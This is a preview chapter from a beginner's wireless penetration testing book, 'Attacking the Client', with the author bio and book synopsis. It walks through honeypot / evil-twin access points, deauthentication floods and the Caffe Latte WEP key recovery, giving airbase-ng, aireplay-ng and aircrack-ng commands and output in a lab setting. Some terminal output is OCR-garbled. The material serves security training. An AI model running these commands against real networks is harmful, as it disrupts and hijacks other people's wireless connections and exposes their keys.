

BackTrack 5 Wireless Penetration Testing Beginner's Guide

Vivek Ramachandran



Chapter No. 6 "Attacking the Client"

In this package, you will find:

A Biography of the author of the book

A preview chapter from the book, Chapter NO.6 "Attacking the Client"

A synopsis of the book's content

Information on where to buy this book

About the Author

Vivek Ramachandran has been working on Wi-Fi Security since 2003. He discovered the Caffe Latte attack and also broke WEP Cloaking, a WEP protection schema publicly in 2007 at Defcon. In 2011, Vivek was the first to demonstrate how malware could use Wi-Fi to create backdoors, worms, and even botnets.

Earlier, he was one of the programmers of the 802.1x protocol and Port Security in Cisco's 6500 Catalyst series of switches and was also one of the winners of the Microsoft Security Shootout contest held in India among a reported 65,000 participants. He is best known in the hacker community as the founder of http://www.SecurityTube .net/ where he routinely posts videos on Wi-Fi Security, Assembly Language, Exploitation Techniques, and so on. SecurityTube.net receives over 100,000 unique visitors a month.

Vivek's work on wireless security has been quoted in BBC online, InfoWorld, MacWorld, The Register, IT World Canada, and so on. This year he is speaking or training at a number of security conferences, including BlackHat, Defcon, Hacktivity, 44con, HITB-ML, Brucon, Derbycon, HashDays, SecurityZone, SecurityByte, and so on.

> I would like to thank my lovely wife for all the help and support during the book's writing process; my parents, grandparents, and sister for believing in me and encouraging me for all these years, and last but not the least, I would like to thank all the users of SecurityTube.net who have always been behind me and supporting all my work. You guys rock!

BackTrack 5 Wireless Penetration Testing Beginner's Guide

Wireless Networks have become ubiquitous in today's world. Millions of people use them worldwide every day at their homes, offices, and public hotspots to log on to the Internet and do both personal and professional work. Even though wireless makes life incredibly easy and gives us such great mobility, it comes with its risks. In recent times, insecure wireless networks have been exploited to break into companies, banks, and government organizations. The frequency of these attacks has only intensified, as the network administrators are still clueless on how to secure wireless in a robust and foolproof way.

BackTrack 5 Wireless Penetration Testing: Beginner's Guide is aimed at helping the reader understand the insecurities associated with wireless networks, and how to conduct penetration tests to find and plug them. This is an essential read for those who would like to conduct security audits on wireless networks and always wanted a step-by-step practical guide for the same. As every wireless attack explained in this book is immediately followed by a practical demo, the learning is very complete.

We have chosen **BackTrack 5** as the platform to test all the wireless attacks in this book. BackTrack, as most of you may already be aware, is the world's most popular penetration testing distribution. It contains hundreds of security and hacking tools, some of which we will use in this course of this book.

What This Book Covers

Chapter 1, Wireless Lab Setup, introduces dozens of exercises that we will be doing in this book. In order to be able to try them out, the reader will need to set up a wireless lab. This chapter focuses on how to create a wireless testing lab using off the shelf hardware and open source software. We will first look at the hardware requirements which include wireless cards, antennas, access points, and other Wi-Fi-enabled devices, then we will shift our focus to the software requirements which include the operating system, Wi-Fi drivers, and security tools. Finally, we will create a test bed for our experiments and verify different wireless configurations on it.

Chapter 2, WLAN and its Inherent Insecurities, focuses on the inherent design flaws in wireless networks which makes them insecure out-of-the-box. We will begin with a quick recap of the 802.11 WLAN protocols using a network analyzer called Wireshark. This will give us a practical understanding about how these protocols work. Most importantly, we will see how client and access point communication works at the packer level by analyzing Management, Control and Data frames. We will then learn about packet injection and packer sniffing in wireless networks, and look at some tools which enable us to do the same.

Chapter 3, Bypassing WLAN Authentication, talks about how to break a WLAN authentication mechanism! We will go step-by-step and explore how to subvert Open and Shared Key authentications. In course of this, you will learn how to analyze wireless packets and figure out the authentication mechanism of the network. We will also look at how to break into networks with Hidden SSID and MAC Filtering enabled. These are two common mechanisms employed by network administrators to make wireless networks more stealthy and difficult to penetrate, however, these are extremely simple to bypass.

Chapter 4, WLAN Encryption Flaws, discusses one of the most vulnerable parts of the WLAN protocol are the Encryption schemas—WEP, WPA, and WPA2. Over the past decade, hackers have found multiple flaws in these schemas and have written publically available software to break them and decrypt the data. Even though WPA/WPA2 is secure by design, misconfiguring those opens up security vulnerabilities, which can be easily exploited. In this chapter, we will understand the insecurities in each of these encryption schemas and do practical demos on how to break them.

Chapter 5, Attacks on the WLAN Infrastructure, shift s our focus to WLAN infrastructure vulnerabilities. We will look at the vulnerabilities created due to both configuration and design problems. We will do practical demos of attacks such as access point MAC spoofing, bit flipping and replay attacks, rogue access points, fuzzing, and denial of service. This chapter will give the reader a solid understanding of how to do a penetration test of the WLAN infrastructure.

Chapter 6, Attacking the Client, opens your eyes if you have always believed that wireless client security was something you did not have to worry about! Most people exclude the client from their list when they think about WLAN security. This chapter will prove beyond doubt why the client is just as important as the access point when penetrating testing a WLAN network. We will look at how to compromise the security using client side attacks such as mis-association, Caffe Latte, disassociation, ad-hoc connections, fuzzing, honeypots, and a host of others.

Chapter 7, Advanced WLAN Attacks, looks at more advanced attacks as we have already covered most of the basic attacks on both the infrastructure and the client. These attacks typically involve using multiple basic attacks in conjunction to break security in more challenging scenarios. Some of the attacks which we will learn include wireless device fingerprinting, man-in-the-middle over wireless, evading wireless intrusion detection and prevention systems, rogue access point operating using custom protocol, and a couple of others. This chapter presents the absolute bleeding edge in wireless attacks out in the real world.

Chapter 8, Attacking WPA Enterprise and RADIUS, graduates the user to the next level by introducing him to advanced attacks on WPA-Enterprise and the RADIUS server setup. These attacks will come in handy when the reader has to perform a penetration test on a large Enterprise networks which rely on WPA-Enterprise and RADIUS authentication to provide them with security. This is probably as advanced as Wi-Fi attacks can get in the real world.

Chapter 9, Wireless Penetrating Testing Methodology, is where all the learning from the previous chapters comes together, and we will look at how to do a wireless penetration test in a systematic and methodical way. We will learn about the various phases of penetration testing—planning, discovery, attack and reporting, and apply it to wireless penetration testing. We will also understand how to propose recommendations and best practices after a wireless penetration test.

Appendix A, Conclusion and Road Ahead, concludes the book and leaves the user with some pointers for further reading and research.

6 Attacking the Client



"Security is just as strong as the weakest link."

Famous Quote in Information Security Domain

Most penetration testers seem to give all the attention to the WLAN infrastructure and don't give the wireless client even a fraction of that. However, it is interesting to note that a hacker can gain access to the authorized network by compromising a wireless client as well.

In this chapter, we will shift our focus from the WLAN infrastructure to the wireless client. The client can be either a connected or isolated un-associated client. We will look at various attacks, which can be used to target the client.

We will cover the following:

- Honeypot and Mis-Association attacks
- Caffe Latte attack
- De-Authenticaton and Dis-Association attacks
- Hirte attack
- AP-less WPA-Personal cracking

Attacking the Client

Honeypot and Mis-Association attacks

Normally, when a wireless client such as a laptop is turned on, it will probe for the networks it has previously connected to. These networks are stored in a list called the **Preferred Network List (PNL)** on Windows-based systems. Also, along with this list, it will display any networks available in its range.

A hacker may do either of two things:

- 1. Silently monitor the probe and bring up a fake access point with the same ESSID the client is searching for. This will cause the client to connect to the hacker machine, thinking it is the legitimate network.
- 2. He may create fake access points with the same ESSID as neighboring ones to confuse the user to connect to him. Such attacks are very easy to conduct in coffee shops and airports where a user might be looking to connect to a Wi-Fi connection.

These attacks are called Honeypot attacks, which happen due to Mis-Association to the hacker's access point thinking it is the legitimate one.

In the next exercise, we will do both these attacks in our lab.

Time for action – orchestrating a Mis-Association attack

Follow these instructions to get started:

1. In the previous labs, we used a client that had connected to the Wireless Lab access point. Let us switch on the client but not the actual Wireless Lab access point. Let us now run airodump-ng mon0 and check the output. You will very soon find the client to be in not associated mode and probing for Wireless Lab and other SSIDs in its stored profile (Vivek as shown):

- **[118]** -

CH 3][Elapsed:	2 mins][2011-03-2	3 11:	17									
SSID	PWR RXQ	Beacons	#Da	ta,	#/s		сн і	۱B	ENC	CIPHER	AUTH	ESSID	
0:1E:40:53:02:FC	-50 17	1454		0	Θ		1 :	54	WPA	ТКІР	PSK	vivek	
0:25:5E:17:C8:00	-71 0	4		Θ	Θ		1 :	54	WEP	WEP		swapnil	
0:25:5E:17:C8:02	-70 0	3		0	0		1 !	54	OPN			<length:< td=""><td>0></td></length:<>	0>
00:25:5E:17:C8:01	-70 0	3		Θ	Θ			54	OPN			<length:< td=""><td>0></td></length:<>	0>
00:25:5E:17:C8:03	-70 0	3		0	Θ		1 !	54	OPN			<length:< td=""><td>0></td></length:<>	0>
BSSID	STATION		PWR	Ra	te		Los	t	Packets	s Prob	es		
(not associated)	00:16:44	:19:DF:0A	-63	Θ	-	1		0	2	21			
(not associated)	00:24:D2	:FE:7F:09	-70	Θ	-	1		Θ		5			
(not associated)	90:4C:E5	:30:42:6C	-72	0	-	1		Θ		4			
(not associated)	00:26:B6	:11:67:E5	-72	Θ	-	1		43		5 Fin	AirWif	i	
(not associated)	60:FB:42	:D5:E4:01	-63	0	-	1		Θ	14			Lab,Vivek	
00:1E:40:53:02:FC	C8:BC:C8	:EE:12:0B	-63	1	-	1		0	4	45 viv	ek		

2. To understand what is happening, let's run Wireshark and start sniffing on the **mon0** interface. As expected you might see a lot of packets, which are not relevant to our analysis. Apply a Wireshark filter to only display Probe Request packets from the client MAC you are using:

Protoco Info
TEEE 80.Beacon Trame, SN=25, FN=0, Flags=, BI=100, SSID="VIVeK"
IEEE 80.Probe Request, SN=1793, FN=0, Flags=C, SSID=Broadcast
IEEE 80.Probe Request, SN=1795, FN=0, Flags=C, SSID=Broadcast
IEEE 80.Beacon frame, SN=67, FN=0, Flags=C, BI=100, SSID="vivek"
IEEE 80.Beacon frame, SN=89, FN=0, Flags=C, BI=100, SSID="vivek"
IEEE 80. Beacon frame, SN=110, FN=0, Flags=C, BI=100, SSID="vivek"
IEEE 80. Beacon frame, SN=131, FN=0, Flags=C, BI=100, SSID="vivek"
IEEE 80.Beacon frame, SN=153, FN=0, Flags=C, BI=100, SSID="vivek"
IEEE 80.Probe Request, SN=1798, FN=0, Flags=C, SSID="Wireless Lab"
IEEE 80.Beacon frame, SN=174, FN=0, Flags=C, BI=100, SSID="vivek"
IEEE 80.Probe Request, SN=1799, FN=0, Flags=C, SSID="Wireless Lab"
IEEE 80.Probe Request, SN=1800, FN=0, Flags=C, SSID="Wireless Lab"
IEEE 80. Beacon frame, SN=217, FN=0, Flags=C, BI=100, SSID="vivek"
IEEE 80.Probe Request, SN=1802, FN=0, Flags=C, SSID="Wireless Lab"
IEEE 80. Beacon frame, SN=238, FN=0, Flags=C, BI=100, SSID="vivek"
· · ·

- [119] -

In my case, the filter would be wlan.fc.type_subtype == 0x04 && wlan.sa ==
 60:FB:42:D5:E4:01. You should now see Probe Request packets only from the client for the SSIDs Vivek and Wireless Lab:

Protoco	Info						
IEEE 80). Probe	Request,	SN=1795,	FN=0,	Flags=C,	SSID=Broadcast	
IEEE 80):Probe	Request,	SN=1798,	FN=0,	Flags=C,	SSID="Wireless	Lab"
IEEE 80):Probe	Request,	SN=1799,	FN=0,	Flags=C,	SSID="Wireless	Lab"
IEEE 80):Probe	Request,	SN=1800,	FN=0,	Flags=C,	SSID="Wireless	Lab"
IEEE 80):Probe	Request,	SN=1802,	FN=0,	Flags=C,	SSID="Wireless	Lab"
IEEE 80):Probe	Request,	SN=1806,	FN=0,	Flags=C,	SSID="Wireless	Lab"
IEEE 80):Probe	Request,	SN=1809,	FN=0,	Flags=C,	SSID="Vivek"	
IEEE 80):Probe	Request,	SN=1811,	FN=0,	Flags=C,	SSID="Vivek"	
IEEE 80):Probe	Request,	SN=1812,	FN=0,	Flags=C,	SSID="Vivek"	
IEEE 80):Probe	Request,	SN=1813,	FN=0,	Flags=C,	SSID="Vivek"	
IEEE 80):Probe	Request,	SN=1819,	FN=0,	Flags=C,	SSID="Vivek"	
IEEE 80):Probe	Request,	SN=1820,	FN=0,	Flags=C,	SSID="Wireless	Lab"
IEEE 80):Probe	Request,	SN=1822,	FN=0,	Flags=C,	SSID="Wireless	Lab"
IEEE 80):Probe	Request,	SN=1824,	FN=0,	Flags=C,	SSID="Wireless	Lab"
IEEE 80):Probe	Request,	SN=1830,	FN=0,	Flags=C,	SSID="Wireless	Lab"

4. Let us now start a fake access point for the network **Wireless Lab** on the hacker machine using the command shown next:



- [120] -

5. Within a minute or so, the client would connect to us automatically. This shows how easy it is to have un-associated clients.



6. Now, we will try the second case, which is creating a fake access point Wireless Lab in the presence of the legitimate one. Let us turn our access point on to ensure that Wireless Lab is available to the client. For this experiment, we have set the access point channel to 3. Let the client connect to the access point. We can verify this from the airodump-ng screen as shown next:

										roo	t@bt:	~ - Shell	- Konsol	e			
Me	^{nu} on	Edit	View	Bool	kmarks	Sett	ings Help										
F																	
	ч .	, 1 r	Eland		40 0	11	2011 02 22	12.56									
1	л .	, 11	claps	eu:	40 5	11.	2011-03-23	12:50									
	SSI	`			PWR	DVO	Beacons	#Data	#/c	сu	MD	ENC	CIPHER	AUTU	ESSTD		
1	12211	,			FWK	κлų	Deacons	#Data	, #/5	СП	пD	ENC	CIFIER	AUTH	E3310		
6	A-21	. 01	D2 · 86	. 25	-27	166	379	31	Θ	3	5/0	. OPN			Wireless	Lah	`
11 -			53:02				387	0	õ	1		WPA	ТКІР	PSK	vivek	Lab	,
			17:02						õ	ī			INTL	FSK		٥.	
						-	-	0		_		OPN			<length:< td=""><td>U></td><td>•</td></length:<>	U >	•
			17:08			_		Θ	-	_	54	WEP	WEP		swapnil		
e	0:25	5:5E	17:08	3:03	-70	Θ	3	0	0	1	54	OPN			<length:< td=""><td>0></td><td>•</td></length:<>	0>	•
E	SSI)			STAT	TION		PWR I	Rate	Lo	st I	Packets	s Prob	es			
	not	asso	ociate	ed)	00:2	21:0	0:3E:10:65	-65	0 - 1		Θ		4				
	not	asso	ociate	ed)	90:4	4C : E	5:E7:B5:34	-70	0 - 1		Θ		3				
	not	asso	ociate	ed)	00:2	26:5	E:17:AA:93	-72	0 - 1		30		40 bri	ndava	n		
	not	asso	ociate	ed)	00:2	24:D	6:2C:D3:40	-72	0 - 1		Θ		2				
			ociate		00:2	23:4	E:3A:A3:E3	-73	0 - 1		Θ		1				
			D2:8				2:D5:E4:01				337	33	29 Wir	eless	Lab,Vivel	c .	
1						0.4	2100124101			-	,			0.000	200,0100	•	

7. Now let us bring up our fake access point with the SSID Wireless Lab:

a 0	root@bt: ~ - Shell - Konsole									
Menu on Edit View Bookmarks Settings	Help									
root@bt:~# airbase-ngessid "Wireless Lab" -c 3 mon0										
12:57:27 Created tap interface										
12:57:27 Trying to set MTU on a										
12:57:27 Access Point with BSS	ID 00:C0:CA:3E:BD:93 started.									

[121] -

8. Notice the client is still connected to the legitimate access point Wireless Lab:

- O		rc	oot@bt: ~ - Shell - Konsole
Menuon Edit View Booki	marks Settings Help		
CH 3][Elapsed:	12 s][2011-03-23	12:58	
BSSID	PWR RXQ Beacons	#Data, #/s CH	H MB ENC CIPHER AUTH ESSID
00:21:91:D2:8E:25	-21 87 131	5 0 3	3 54e. OPN Wireless Lab
00:1E:40:53:02:FC	-48 87 122	0 0 1	1 54 WPA TKIP PSK vivek
BSSID	STATION	PWR Rate L	Lost Packets Probes
(not associated)	00:26:5E:17:AA:93	-66 0-1	11 6 brindavan
(not associated)	00:26:B6:11:67:E5	-68 0-1	0 2 FinAirWifi
(not associated)	00:24:D6:2C:D3:40	-72 0-1	0 1
00:21:91:D2:8E:25	60:FB:42:D5:E4:01	-9 0-24e	7 171 Wireless Lab,Vivek

9. We will now send broadcast De-Authentication messages to the client on behalf of the legitimate access point to break their connection:

a 0	root@bt: ∼ - Shell No. 2 - Konsole										
bn Edit	: View Bookmarks Settings Help										
root@bt:~	# aireplay-ngdeauth 0 -a 00:21:91:D2:8E:25 mon0										
13:32:14	13:32:14 Waiting for beacon frame (BSSID: 00:21:91:D2:8E:25) on channel 3										
NB: this	attack is more effective when targeting										
a connect	ed wireless client (-c <client's mac="">).</client's>										
13:32:14	Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]										
13:32:14	Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]										
13:32:15	Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]										
13:32:15	Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]										
13:32:16	Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]										
13:32:16	Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]										
13:32:17	Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]										
13:32:17	Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]										
13:32:18	Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]										
13:32:18	Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]										
13:32:19	Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]										
13:32:19	Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]										
13:32:20	Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]										
13:32:20	Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]										
13:32:21	Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]										
13:32:21	Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]										
13:32:22	Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]										
13:32:22	Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]										
13:32:22	Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]										
13:32:23	Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]										
13:32:23	Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]										
13:32:24	Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]										
·											

- [122] -

10. Assuming the signal strength of our fake access point **Wireless Lab** is stronger than the legitimate one to the client, it connects to our fake access point, instead of the legitimate access point:

	20	root@bt: ~ - Shell No. 3 - Konsole
	Session Edit	: View Bookmarks Settings Help
1	root@bt:~	# airbase-ngessid "Wireless Lab" -c 3 mon0
		Created tap interface at0
	13:26:11	Trying to set MTU on at0 to 1500
	13:26:12	Access Point with BSSID 00:C0:CA:3E:BD:93 started.
	13:32:56	Client 60:FB:42:D5:E4:01 associated (unencrypted) to ESSID: "Wireless Lab"

11. We can verify the same by looking at the airodump-ng output to see the new association of the client with our fake access point:

		root@bt: ~ - Shell - Konsole
Menuon Edit View Booki	marks Settings Help	
CH 3][Elapsed: 1	1 min][2011-03-23	3 13:33
BSSID	PWR RXQ Beacons	#Data, #/s CH MB ENC CIPHER AUTH ESSID
00:C0:CA:3E:BD:93	0 100 1256	234 0 3 54 OPN Wireless Lab
00:21:91:D2:8E:25	0 100 592	0 0 3 54e. OPN Wireless Lab
00:1E:40:53:02:FC	-49 96 586	0 0 1 54 WPA TKIP PSK vivek
00:02:CF:D5:13:11		0 0 2 54 WPA TKIP PSK laxmi 0 0 1 54 OPN <length: 0=""></length:>
00:25:5E:17:C8:01		- - -
00:25:5E:17:C8:00		0 0 1 54 WEP WEP swapnil
00:25:5E:17:C8:03	-71 0 2	0 0 1 54 OPN <length: 0=""></length:>
BSSID	STATION	PWR Rate Lost Packets Probes
63310	STATION	FWR Rale LOSI FACKELS FIDDES
00:C0:CA:3E:BD:93	00:1E:40:53:02:FC	-1 1 - 0 0 20
00:C0:CA:3E:BD:93	00:21:91:D2:8E:25	
00:C0:CA:3E:BD:93	60:FB:42:D5:E4:01	
(not associated)	00:26:5E:17:AA:93	
(not associated)	00:1A:92:1F:C7:15	
(not associated)	00:21:00:3E:10:65	
(not associated)	78:DD:08:C5:36:7C	
(not associated)	00:24:2B:CB:B2:F8	
(not associated)	00:26:B6:11:67:E5	-69 0-1 0 2 FinAirWifi
(not associated)	00:23:4E:3A:A3:E3	
00:1E:40:53:02:FC	C8:BC:C8:EE:12:0B	-1 1 - 0 0 1

[123] -

Attacking the Client

What just happened?

We just created a Honeypot using the probed list from the client and also using the same ESSID as that of neighboring access points. In the first case, the client automatically connected to us as it was searching for the network. In the latter case, as we were closer to the client than the real access point, our signal strength was higher, and the client connected to us.

Have a go hero – forcing a client to connect to the Honeypot

In the preceding exercise, what do we do if the client does not automatically connect to us? We would have to send a De-Authentication packet to break the legitimate client-access point connection and then if our signal strength is higher, the client will connect to our spoofed access point. Try this out by connecting a client to a legitimate access point, and then forcing it to connect to our Honeypot.

Caffe Latte attack

In the Honeypot attack, we noticed that clients will continuously probe for SSIDs they have connected to previously. If the client had connected to an access point using WEP, operating systems such as Windows, cache and store the WEP key. The next time the client connects to the same access point, the Windows wireless configuration manager automatically uses the stored key.

The Caffe Latte attack was invented by me, the author of this book and was demonstrated in Toorcon 9, San Diego, USA. The Caffe Latte attack is a WEP attack which allows a hacker to retrieve the WEP key of the authorized network, using just the client. The attack does not require the client to be anywhere close to the authorized WEP network. It can crack the WEP key using just the isolated client.

In the next exercise, we will retreive the WEP key of a network from a client using the Caffe Latte attack.

Time for action – conducting the Caffe Latte attack

Follow these instructions to get started:

1. Let us first set up our legitimate access point with WEP for the network **Wireless Lab** with the key ABCDEFABCDEFABCDEF12 in Hex:

- [124] -

WIRELESS NETWORK SETTINGS
Enable Wireless : 🗹 Always 🗘 (Add New)
802.11 Mode : Mixed 802.11n, 802.11g and 802.11b
Enable Auto Channel Scan :
Wireless Channel : 2.422 GHz - CH 3
Transmission Rate : Best (automatic) (Mbit/s)
Channel Width : 20 MHz 🗘
Visibility Status : 💿 Visible 🔘 Invisible
WIRELESS SECURITY MODE
To protect your privacy you can configure wireless security features. This device supports three wireless security modes, including WEP, WPA-Personal, and WPA-Enterprise. WEP is the original wireless encryption standard. WPA provides a higher level of security. WPA-Personal does not require an authentication server. The WPA-Enterprise option requires an external RADIUS server.
Security Mode : WEP
WEP
 WEP is the wireless encryption standard. To use it you must enter the same key(s) into the router and the wireless stations. For 64 bit keys you must enter 10 hex digits into each key box. For 128 bit keys you must enter 26 hex digits into each key box. A hex digit is either a number from 0 to 9 or a letter from A to F. For the most secure use of WEP set the authentication type to "Shared Key" when WEP is enabled. You may also enter any text string into a WEP key box, in which case it will be converted into a hexadecimal key using the ASCII values of the characters. A maximum of 5 text characters can be entered for 64 bit keys, and a maximum of 13 characters for 128 bit keys. If you choose the WEP security option this device will ONLY operate in Legacy Wireless mode (802.11B/G). This means you will NOT get 11N performance due to the fact that WEP is not supported by Draft 11N specification.
WEP Key Length : 128 bit (26 hex digits) (length applies to all keys)
WEP Key 1 :
WEP Key 2 :
WEP Key 3 :
WEP Key 4 :
Default WEP Key : WEP Key 1 💠
Authentication : Shared Key 🗘

- [125] -

2. Let us connect our client to it and ensure that the connection is successful using airodump-ng as shown next:

2 0					root	t@ bt: ~	- Shell	- Konsole		
Menuon Edit View Book	marks Setti	ngs Help								
CH 3][Elapsed:	0 0 1 0	11-02-22 1	4.45							
ch 3][Ecapsed:	0 5][20	11-03-23 1	4:43							
BSSID	PWR RXO	Beacons	#Data,	#/c	СН	MR	ENC	CIPHER	літн	ESSTD
63310	FWR RAQ	beacons	#Data,	#/5	сп	пD	ENC	CIFICK	AUTH	23310
00:02:CF:D5:13:11	-66 0	5	0	Θ	2	54	WPA	ТКІР	PSK	laxmi
00:25:5E:17:C8:03	-69 0	2	ő	õ	ĩ	54	OPN	1111	I SK	<length: 0=""></length:>
		-	-	-	_					· ·
00:25:5E:17:C8:00	-70 0	4	0	Θ	1	54	WEP	WEP		swapnil
00:1E:40:53:02:FC	-56 79	25	Θ	Θ	1	54	WPA	TKIP	PSK	vivek
00:21:91:D2:8E:25	-14 80	28	2	Θ	3	54e.	WEP	WEP		Wireless Lab
BSSID	STATION		PWR R	ate	LO	st Pa	ackets	s Probe	es	
(not associated)	E4:EC:10	:4F:AD:74	-67	0 - 1		93		L4 Anod	n	
00:21:91:D2:8E:25		:D5:E4:01		0 -36e		13				Lab,Vivek
00:21:91:D2:0E:25	00:FD:42	105.64:01	-20	0 - 308		12		DT WILE	stess	Lan, ATAGK

3. Let us unplug the access point and ensure the client is in the un-associated stage and searching for the WEP network **Wireless Lab**:

0			root@bt: ~ - Shell - Konsole
1enuon Edit View Boo	kmarks Settings Help		
CH 3][Elapsed:	8 s][2011-03-23 1	4:46	
BSSID	PWR RXQ Beacons	#Data, #/s	CH MB ENC CIPHER AUTH ESSID
00:25:5E:17:C8:00	-71 0 3	0 0	1 54 WEP WEP swapnil
00:1E:40:53:02:FC	-50 100 72	1 0	1 54 WPA TKIP PSK vivek
00:02:CF:D5:13:11	-68 16 9	0 0	2 54 WPA TKIP PSK laxmi
BSSID	STATION	PWR Rate	Lost Packets Probes
(not associated)	60:FB:42:D5:E4:01	-14 0 - 1	L 32 16 Wireless Lab,Vivek

4. Now we use airbase-ng to bring up an access point with **Wireless Lab** as the SSID with the parameters shown next:



[126] -

5. As soon as the client connects to this access point, airbase-ng starts the Caffe-Latte attack as shown:

20	root@bt: ~ - Shell No. 3 - Konsole
	View Bookmarks Settings Help
	# airbase-ng -c 3 -a 00:21:91:D2:8E:25 -e "Wireless Lab" -L -W 1 mon0 Created tap interface at0
	Trying to set MU on at0 to 1500
	Access Point with BSSID 00:21:91:D2:8E:25 started.
14 • 48 • 31	Got 140 bytes keystream: 60:FB:42:D5:E4:01
	SKA from 60:FB:42:D5:E4:01
	SKA from 60:FB:42:D5:E4:01
	SKA from 60:FB:42:D5:E4:01
14:48:31	SKA from 60:FB:42:D5:E4:01
14:48:31	SKA from 60:FB:42:D5:E4:01
	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"
	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"
	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab" Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"
	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: Wireless Lab
	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: Wireless Lab
	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"
	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"
	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"
	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"
	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"
	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"
14:48:57	Starting Caffe-Latte attack against 60:FB:42:D5:E4:01 at 100 pps.

6. We now start airodump-ng to collect the data packets from this access point only, as we did before in the WEP-cracking case:

0	root@bt: ~ - Shell - Konsole <2>
Session Edit View Bookma	arks Settings Help
CH 11][Elapsed:	30 mins][2011-02-06 04:01][140 bytes keystream: 00:21:91:D2:8E:25
BSSID	PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:21:91:D2:8E:25	-6 100 16387 11190 0 11 54e.WEP WEP SKA Wireless Lab
BSSID	STATION PWR Rate Lost Packets Probes
00:21:91:D2:8E:25	60:FB:42:D5:E4:01 0 0 - 1 0 22026 Wireless Lab

For More Information: www.packtpub.com/backtrack-5-wireless-penetrationtesting-beginners-guide/book

- [127] -

7. We also start aircrack-ng as in the WEP-cracking exercise we did before to begin the cracking process. The command line would be aircrack-ng filename where filename is the name of the file created by aircdump-ng:

50	© root@bt: ~ - Shell - Konsole <3>												
Session E	Edit View	Во	okmarks Setting	js Help									
	Aircrack-ng 1.0 r1645												
	[00:00:04] Tested 331777 keys (got 11111 IVs)												
КВ	dept	h	byte(vote)									
0	0/ 3			D(16640)	5A(15360)	BA(15360)	D1(15104)	07(14848)	E8(14848)	F0(14848)			
1	0/	1	DD(17664)	78(16384)	B0(16384)	25(15104)	48(14848)	36(14592)	79(14336)	0F(14080)			
2	1/ 3	3	92(15872)	84(15616)	1A(15360)	38(15104)	14(14848)	29(14848)	A1(14592)	C1(14592)			
3	1/ 2	2	7C(16896)	FF(16384)	7A(16128)	12(15360)	47(15360)	B7(15360)	85(15104)	94(15104)			
4	3/ 4	4	0B(15872)	CB(15616)	0F(15104)	B1(15104)	A9(14848)	C4(14848)	2A(14592)	36(14592)			
5	2/ 3	3	46(14848)	47(14592)	5C(14592)	9A(14336)	30(14080)	46(14080)	4C(14080)	6A(14080)			
6	3/ 4	4	2B(15104)	44(14592)	A4(14592)	EC(14592)	24(14080)	2B(14080)	3B(14080)	6D(14080)			
7	1/ 2	2	56(15872)	0C(14848)	21(14848)	5C(14848)	D8(14848)	F9(14848)	2C(14336)	40(14336)			
8	3/ 4	4	02(14848)	D4(14592)	E4(14592)	11(14336)	13(14336)	70(14336)	BC(14336)	46(14080)			
9	2/ 3	3	B3(16384)	5E(15872)	D4(15872)	4C(15104)	EB(14848)	6F(14592)	BC(14592)	E0(14592)			
10	1/ 2	2	5B(15616)	03(14592)	24(14592)	5F(14592)	68(14592)	E0(14592)	5E(14336)	95(14336)			
11	2/ 3	3	C8(15616)	A6(15360)	39(15104)	D7(14848)	95(14592)	BD(14592)	46(14336)	0B(14080)			
12	5/ 0	б	6B(15104)	15(14848)	57(14848)	70(14592)	CE(14592)	0A(14336)	6F(14336)	CA(14336)			
L													

8. Once we have enough WEP encrypted packets, aircrack-ng succeeds in cracking the key as shown next:

5 0						ro	ot@bt: ~ - Shell	- Konsole <3>						
Session	Edit	View	Bookmarks	Setting	6 Help									
							Aircrack	-ng 1.0 r10	545					
					[00:	25:36] Tes	ted 128508	9 keys (go	t 48988 IV	5)				
	KB depth byte(vote)													
KB														
0		9/ 1					3A(56064)							
1		9/ 1					A0(57088)							
2							AF(57344)							
3		9/ 1					5E(59392)							
4		9/ 1					F9(58112)							
5		-, -					CE(57088)							
6		9/ 1					FB(57856)							
7		9/ 1					D5(57856)							
8		., .					A8(57856)							
9		-, -					94(57344)							
10		L/ 1					47(56576)							
11		L/ 1					34(56832)							
12	1	L/ 2	2 12(5	7308)	CE(55844)	A4(55076)	1B(54892)	68(54784)	CO(54784)	66(54748)	4F(54564)			
						B:CD:EF:AB	:CD:EF:AB:	LD:EF:12]						
	De	ecryp	oted cor	rectly	: T00%									
we at ob														
root@l	υι:~ #	F												

- [128] -

What just happened?

We were successful in retrieving the WEP key from just the wireless client without requiring an actual access point to be used or present in the vicinity. This is the power of the Caffe Latte attack.

